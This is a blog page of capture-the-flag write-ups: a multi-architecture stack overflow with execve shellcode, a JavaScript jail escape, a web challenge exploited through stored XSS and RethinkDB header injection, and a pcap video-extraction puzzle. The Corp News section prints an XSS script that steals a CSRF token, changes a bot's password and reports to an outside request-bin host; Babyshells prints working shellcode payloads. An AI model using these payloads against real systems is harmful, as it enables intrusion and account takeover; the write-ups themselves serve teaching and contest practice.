Showing posts with label node. Show all posts
Showing posts with label node. Show all posts

Monday, April 23, 2018

Midnight Sun CTF Quals 2018 - Babyshells & Jeil



This CTF was a lot of fun! The style of the board and assets in the game were extremely creative and well done!

Here are the challenges from the competition:



First we're going to start with Babyshells, a simple 50pt pwn challenge. Then move onto Jeil, a 200pt pwn challenge involving a JavaScript jail.


Babyshells


Description:

If you hold a babyshell close to your ear, you can hear a stack getting smashed

Solves: 71
Service: nc 52.30.206.11 7000 (x86) | nc 52.30.206.11 7001 (ARM) | nc 52.30.206.11 7002 (MIPS)
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/babyshells.tar.gz
Author: likvidera

This one was a simple baby's first 90's shellcode style exploitation challenge, with the caveat that you have to exploit a binary on multiple architectures to get the flag.

Each binary would drop a part of the flag, so in order to complete the challenge, you would need to exploit all of them.

Running the x86 binary we get some nice ASCII art : ) -- It's also easy to make it crash!



Starting with dynamic analysis, cyclic will show the offset of the SIGSEGV as 40, but when using the interrupt (0xCC) we find the exact offset to be 38 (this offset will be used across all binaries in this challenge):

$ gdb ./chall
pwndbg> r <<< $(python -c 'from pwn import *; print "1\n" + cyclic(100)')
...
*EIP  0xffffce6a &lt;— 0x6161616b ('kaaa')
pwndbg> cyclic -l 0x6161616b
40

$ python -c 'from pwn import *; print "1\n" + "A"*38 + "\xcc"' | strace -i ./chall |& grep SIGTRAP
[ff81a049] --- SIGTRAP {si_signo=SIGTRAP, si_code=SI_KERNEL} ---

Now we just need some shellcode! Heading over to shell-storm we can grab a few that will work for these challenges.

Starting with one for x86, we get our first shell:

$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'"; cat) | nc 52.30.206.11 7000
cat flag
midnight{pwn_all_the_x86_

We have our flag chunk, now let's go onto the next architecture - arm.

The organizers were nice enough to included qemu-arm with the challenge package, as well as a Docker setup to get up and running with the challenges quickly.

The same payload with shellcode specific to arm also popped a shell:

$ (python -c "from pwn import *; print '1\n' + 'A'*38 + '\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0e\x30\x01\x90\x49\x1a\x92\x1a\x08\x27\xc2\x51\x03\x37\x01\xdf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x00'"; cat) | nc 52.30.206.11 7001
cat flag
pwn_all_th3_4rm


Same story with mips (it took a while to find a working payload for this one):

(python -c "from pwn import *; print '1\n' + '\x90'*38 + '\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xf4\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf8\xaf\xa0\xff\xfc\x27\xa4\xff\xf4\x28\x05\xff\xff\x24\x02\x0f\xab\x01\x01\x01\x0c'"; cat) | nc 52.30.206.11 7002
cat flag
_pWN_4ll_th3_m1p5}

All of the flag chunks together turned out to be the final flag:

midnight{pwn_all_the_x86_pwn_all_th3_4rm_pWN_4ll_th3_m1p5}


Jeil


Description:

You are awesome at breaking into stuff, how about breaking out?

Solves: 32
Service: nc web2.midnightsunctf.se 55542 | nc 34.244.177.217 55542
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/jeil.tar.gz
Author: avlidienbrunn


So this challenge is all about breaking out of a JavaScript jail. The source of this challenge may be found here: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jail.js_source.js.

This was the source included with the challenge, and it includes some template strings to generate a new instance of the server. To help with iteration, there's another upload including a fake flag to use during initial exploration: https://github.com/vitapluvia/writeups/blob/master/midnightSunCTF2018/jeil/jeil-example.js

An easy way to test this script out is to use Node.js.

To run it, just call the js file with Node (after installing the dependency readline):

$ npm i
$ node jeil-example.js
| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: AAAA
Unrecognized code.

readline.js:1021
            throw err;
            ^
123


With the naive input 'AAAA' as an example, we get an error thrown saying '123'. If we look in the code, this error occurs in three places:


Character black list:

if(new RegExp(/[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/).test(code)){
  console.log("Unrecognized code.");
  throw 123;
  return;
}

Input length is not equal to 32:

if(!(code.length == 32)){
  console.log("Incorrect code length.");
  throw 123;
  return;
}

Evaluated code with "this.secretFuncUnguessable" prepended is not a function:

ret = eval("this.secretFuncUnguessable"+code);

if(typeof ret == "function"){
  if(ret.call(this,'foo', 'bar', 'baz') === true){
      console.log("FLAG{F4k3_Fl4g!!!}");
  }else{
      console.log("Incorrect code.");
  }
}else{
  console.log("Incorrect code.");
}
throw 123;


To reiterate the rules we need to pass for our payload:

  • needs to be exactly 32 bytes
  • chars must not be in regex /[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/
  • evaluated "this.secretFuncUnguessable" + code must be a function type

The first two rules are simple to pass, the last is somewhat tricky.
If you remember from the source, "this.secretFuncUnguessable{{ENV_SECRET_0}}" is defined in the source, but we do not know ENV_SECRET_0, and we probably don't want to guess it.
Instead we can figure out how to call our own function to pass the last check.

We know that "this.secretFuncUnguessable" does not exist unless ENV_SECRET_0 is set to "".  We can use that assumption to our advantage by starting with the or operator in JavaScript.  this will return the second value (our code) if the first is undefined.  Here's a simple example:

> const foo = undefined;
> const result = foo || 'AAAA';
> result
'AAAA'

It's also easy to create a function in later versions of node without braces using the arrow function:

> () => 123
[Function]

We can create a simple function which returns true by comparing 1 against itself:

> (()=>1==1)()
true

Now we have a working payload, we just need to add some padding to make it 32 bytes:

> result = undefined || (()=>1==1)
> typeof result
'function'
> result()
true

With the padding:

||(()=>11111111111==11111111111)


There are many other variations that could be created such as:

||000000000000000000||(()=>1==1)
||00||00||00||00||00||(()=>1==1)
||(()=>1==1)||000000000000000000
||(((((((((((()=>1==1)))))))))))
||(()=>(()=>123)()==(()=>123)())
||(()=>1*1*1*1*1*1*1*1*1*1*1==1)
||(()=>0!=111111111111111111111)
||(()=>(()=>(()=>((0==0)))())())


Now if we try this against the sample server we get the fake flag!

$ echo '||(()=>11111111111==11111111111)' | node ./jeil-example.js

| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: ||(()=>11111111111==11111111111)
32
FLAG{F4k3_Fl4g!!!}


When this is run against the CTF server, we get the actual flag:

$ echo '||(()=>11111111111==11111111111)' | nc 34.244.177.217 55542

| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
|    Internal    |
|________|
       ||
(\__/) ||
(•ㅅ•) ||
/   づ

Code: midnight{f33lin_fr1sky_f0r_funky_funct10nz}

Monday, March 27, 2017

VolgaCTF 2017 Quals - Corp News (300)




Challenge Description:

We have created an excellent service for obtaining corporate news. You never know the secret information
corp-news.quals.2017.volgactf.ru
corp-news2.quals.2017.volgactf.ru

Hints

Some errors may shed light on what is there on the backend

This challenge was a lot of fun, it was a mix of 2 bugs and required a little recon to find out more about the technology on the server.

First, when poking around the server, it displayed errors in the standard NodeJS Express way, so we could assume for now it's running a Node server. Ex.:

http://corp-news.quals.2017.volgactf.ru/unknown-page

Cannot GET /unknown-page


Next we started looking at the cookies, this is where it got a little odd. We know the server is running Node & Express, why is there a cookie called PHPSESSIONID? What kind of mad world are we living in?!

PHPSESSID=s%3AtUPAeIpyJ6fxkjO495aXXk8uoeBLiPMx.oOGUyrAXrM%2FDwbeidRiY3WMVuYTLZOF1QdBX5uZnOiA

It turns out this had nothing to do with the rest of the challenge, maybe just a strange developer decision to keep similar names when dealing with sessions...


Once we're logged in, it redirects us to a profile page, the only feature on this page is a button to change our own password. There doesn't seem to be any apparent reason we would want to do this initially. Looking at the source it seemed fairly standard, the one interesting part to note is that there was some sort of CSRF token being passed to the backend for this page.



Home doesn't have much on it, so the next page to look at is News.



On the News page we get a small welcome message with a randomly generated username, a comment submission and a button to retrieve "private news".  Reading private news sounds like an attractive target, so let's start there.  When clicking this button we get a message written below saying:

Please, set debug header true, becouse the app in developing state:)


They want us to set some debug header, so let's see what we can modify. Initially we tried many different ideas. Sending HTTP headers, including 'debug=true', or 'debug:true' in the data of the post request, visiting News with ?debug=true, etc. It really came down to understanding what type of backend was setup.

First looking at the request in the front-end code, we can see some opportunities for modification:

...
<button onclick="loadNews()" class="btn btn-primary">Read private news</button>
...

function loadNews() {
    var data = {
    'resultFormat': 'text'
    }
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}

If we copy this function into the developer console and remove 'text' from the 'resultFormat' in data, we start to see an interesting error:

Error: `result_format` (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).


When looking up '"result_format" javascript nodejs' on Google we find this issue on GitHub: https://github.com/rethinkdb/docs/issues/306#issuecomment-44475230

Under Optargs, this mentions: 'result_format=( text | json | jsonp | auto ): choose how to format the result (see below); default="auto"'

This looks very familiar! It sounds like we're working with RethinkDB on the backend!

Looking at the ReQL command reference on rethinkdb's site, we see the same options reflected back in the error - https://www.rethinkdb.com/api/javascript/http/#general-options

This was nice when verifying we were really working with RethinkDB. Any keys added to data which were invalid, would throw, otherwise it would silently succeed. Displaying the adjacency between our dynamic tests and the documentation.

The interesting part of the ReQL documentation was the Request Options, this showed us a place for headers & db query params:
https://www.rethinkdb.com/api/javascript/http/#request-options

method: HTTP method to use for the request. One of GET, POST, PUT, PATCH, DELETE or HEAD. Default: GET.
auth: object giving authentication, with the following fields:
type: basic (default) or digest
user: username
pass: password in plain text
params: object specifying URL parameters to append to the URL as encoded key/value pairs. { query: 'banana', limit: 2 } will be appended as ?query=banana&limit=2. Default: no parameters.
header: Extra header lines to include. The value may be an array of strings or an object. Default: Accept-Encoding: deflate;q=1, gzip;q=0.5 and User-Agent: RethinkDB/.
data: Data to send to the server on a POST, PUT, PATCH, or DELETE request. For POST requests, data may be either an object (which will be written to the body as form-encoded key/value pairs) or a string; for all other requests, data will be serialized as JSON and placed in the request body, sent as Content-Type: application/json. Default: no data will be sent.


The params feature would be great to control, unfortunately this did not work in this situation, and wasn't the intended target for this application. The key 'header' is very interesting for us, it allows us to inject custom headers which RethinkDB may use for various purposes. In this case, we're adding the custom debug flag:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'debug': 'true'
      }
    };
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}


After loading this new patch, we can see it returns a different response:

VolgaCTF is an international inter-university cybersecurity competition organised by a group of IT enthusiasts based in Samara, Russia.VolgaCTF 2017 Quals is an online competition. Top teams will be invited to participate in VolgaCTF 2017 Finals, which will be held in Samara, Russia.Registration for the competition will be opened at the end of February.

This was very nice to see, some progress that we're moving forward. Next let's look at the comment form.

When sending a standard comment, a small flash message pops up and disappears, nothing else noticeable happens.

Thank you, for your answer, my friend!:)

This seems like a good place to test for XSS. After setting up a small remote server, we can see the request go through.

For this article, I'll be setting up small tests on https://requestb.in/ to test it out again (very useful for this situation).

First we send a very simple XSS test to fingerprint the browser and figure out what we're working with:

<script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
  $.post("http://requestb.in/wtmd3swt", "SUCCESS!")
</script>

This returns the following values (including the success message):

Connect-Time: 1
X-Request-Id: 034f6890-6cc8-429a-9408-1f8cd4720112
Accept: */*
Cf-Visitor: {"scheme":"http"}
Total-Route-Time: 0
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Host: requestb.in
Cf-Connecting-Ip: 77.244.214.227
Accept-Encoding: gzip
Accept-Language: en-US,*
Via: 1.1 vegur
Origin: http://127.0.0.1:3000
Cf-Ray: 34604e8380f74f38-DME
Content-Length: 8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Referer: http://127.0.0.1:3000/bot
Cf-Ipcountry: RU

There were Three notable pieces of information here. First was that this came from an automated PhantomJS browser. Second was the referrer mentioning the term bot as well as the idea that the bot was most likely on the same box as the server: 'http://127.0.0.1:3000/bot'. The third chunk of information was that this server was running on port 3000, not what we expect since we originally visited the application over port 80. If we check port 300 it does exist on the server (without many of the resources) - http://corp-news.quals.2017.volgactf.ru:3000/

So we have some randomly created user (and their name from the comment box) running our script, maybe we should go back to that profile section and see if we can change this user's password?

With a simple script we can pull the profile page for the bot at '/lk' and check the CSRF token setup. Taking this token we can pass it along to the '/change_password' route and send a success or failure message to another request bin - https://requestb.in/1hvn43r1?inspect

<script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
var SERVER = 'http://requestb.in/1hvn43r1';
var P = "__s0m3Passw0rdH3r3__";

$.get('/lk', function(d) {
  var t = $(d).find('.control-group .invisible').text();
  var data = { "new_password": P, "confirm_password": P, "token": t };
  $.ajax({
    type: 'POST',
    url: '/change_password',
    contentType: 'application/json',
    data: JSON.stringify(data),
    success: function(xhr) {
      $.post(SERVER, 'SUCCESS!!!');
    },
    error: function(xhr) {
      $.post(SERVER, 'ERRZ');
    }
  });
});
</script>


Looks like it worked! Now we can login as this user!

Immediately we see a difference after we login:

It looks like we've got a 'secret' header value to try out.  Let's go back to the News section and insert it into the header section.

Setting the loadNews() function up again with the new 'secret' value:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'secret': 'asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7',
         'debug': 'true'
      }
    };
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}



And we have the flag!

VolgaCTF{rethinkdb_nearly_without_nosqlInj_and_some_clientside}


Monday, September 7, 2015

MMA CTF 2015 - Stream... (100)


We didn't end up solving this during the competition, but I thought it would be nice to show the challenge and share the process we went through in finding the flag.

It starts with a pcap file which contains many similar packets (parts of the stream).  After sorting by length and following the TCP stream of one, we find some interesting header content.






































Notably we find the "User-Agent" as NSPlayer, "Content-Type" as "application/x-mms-framed", and in the bytes it shows that it's a "Windows Media Video" (WMV) format.

Now the tricky part is figuring out how we can play this content.  We can save the binary data to a file in Wireshark pressing 'Save As' and editing the header out (Also useful to filter out the conversation by the part we care about in the dropdown menu which defaults to Entire Conversation).

After some research it looked like we could just push the data over a server, and use VLC to interpret it as an MMS stream.  Here's a simple guide for OSX users on how to open MMS streams in VLC - http://elearning.etsu.edu/macmmsguide/index.html

The question is, what does our server need to look like?
Apparently not much.

This was done with very little effort and seemed to work fine (simple Node.js server):
m=require; m('http').createServer(function(_, r) {r.end(m('fs').readFileSync("extracted"))}).listen(4444);
Where "extracted" is the binary file we formed from the stream.

Now All we had to do is view the result in VLC: after launching VLC, you can go to File > Open Network, and give it a url.  In this case we're hosting it locally, so we just point it to mms://localhost:4444 (important to use the mms protocol in this situation)

When playing it we get an initial frame of Rainbow Colors!






























Then more of what we're looking for, in a classic MS PAint window ;)





























The Final Flag Being:
MMA{windows_xp_is_too_old_to_create_problem!!}